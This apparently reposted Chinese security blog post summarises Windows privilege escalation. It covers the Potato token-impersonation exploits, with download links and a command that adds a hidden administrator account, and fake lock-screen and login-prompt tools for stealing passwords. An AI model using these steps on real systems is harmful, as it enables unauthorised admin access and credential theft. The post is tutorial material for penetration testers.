iis权限

windows提权小结

管理员权限

windows提权小结

iis或者sqlserver的用户通常具有SeImpersonatePrivilege和SeAssignPrimaryPrivilege权限
Backup service用户通常具有SeBackupPrivilege和SeRestorePrivilege权限

SeImpersonatePrivilege权限的利用

身份验证后模拟客户端(Impersonatea client after authentication)
拥有该权限的进程能够模拟已有的token,但不能创建新的token
以下用户具有该权限:

本地管理员组成员和本地服务帐户
由服务控制管理器启动的服务
由组件对象模型 (COM) 基础结构启动的并配置为在特定帐户下运行的COM服务器
通常,iis或者sqlserver用户具有该权限

土豆家族是时候出手了
Potato提权的是前提是拥有SeImpersonatePrivilege或SeAssignPrimaryTokenPrivilege权限
当用户具有SeImpersonatePrivilege特权,则可以调用CreateProcessWithTokenW以某个Token的权限启动新进程
当用户具有SeAssignPrimaryTokenPrivilege特权,则可以调用CreateProcessAsUserW以hToken权限启动新进程

1.hot potato
Hot Potato是第一个土豆,此漏洞影响 Windows 7、8、10、Server 2008 和 Server 2012
下载地址:https://github.com/foxglovesec/Potato

Potato.exe -ip-cmd "C:\\Windows\\System32\\cmd.exe /K net user xkk [email protected]&&net localgroup administrators xkk /add" -disable_exhaust true -disable_defender true

只有等待windows更新才能用,基本不用,并且已经出了补丁
2.Rotten Potato烂土豆
下载地址

```
原版
https://github.com/SecWiki/windows-kernel-exploits/blob/master/MS16-075/potato.exe

升级版
https://github.com/breenmachine/RottenPotatoNG
```

本地iis搭建一个环境,使用shell运行msf的木马,已经是iis权限

windows提权小结

在msf中执行potato.exe,偷取token即可

windows提权小结

第个链接是加强版,使用之后弹出system权限的框

windows提权小结

大家可以根据源码自行修改工作方式
参考链接:https://www.anquanke.com/post/id/92908
3.Lonely Potato
该版本已经被弃用,并且向Juicy Potato转移
4.Juicy Potato
具体使用方法可看:https://3gstudent.github.io/Windows%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E5%B7%A5%E5%85%B7Juicy-Potato%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90

伪造登录界面进行密码窃取

伪造锁屏
https://github.com/Pickfordmatt/SharpLocker/releases

windows提权小结

image
https://github.com/bitsadmin/fakelogonscreen/releases

windows提权小结

image
记录的密码保存在
%LOCALAPPDATA%\Microsoft\user.db

windows提权小结

image
伪造认证框
CredsLeaker
https://github.com/Dviros/CredsLeaker
将cl_reader.php,config.php,config.cl上传到web服务器
修改CredsLeaker.ps1、run.bat中URL参数

windows提权小结

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月12日14:55:54
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   windows提权小结https://cn-sec.com/archives/1599551.html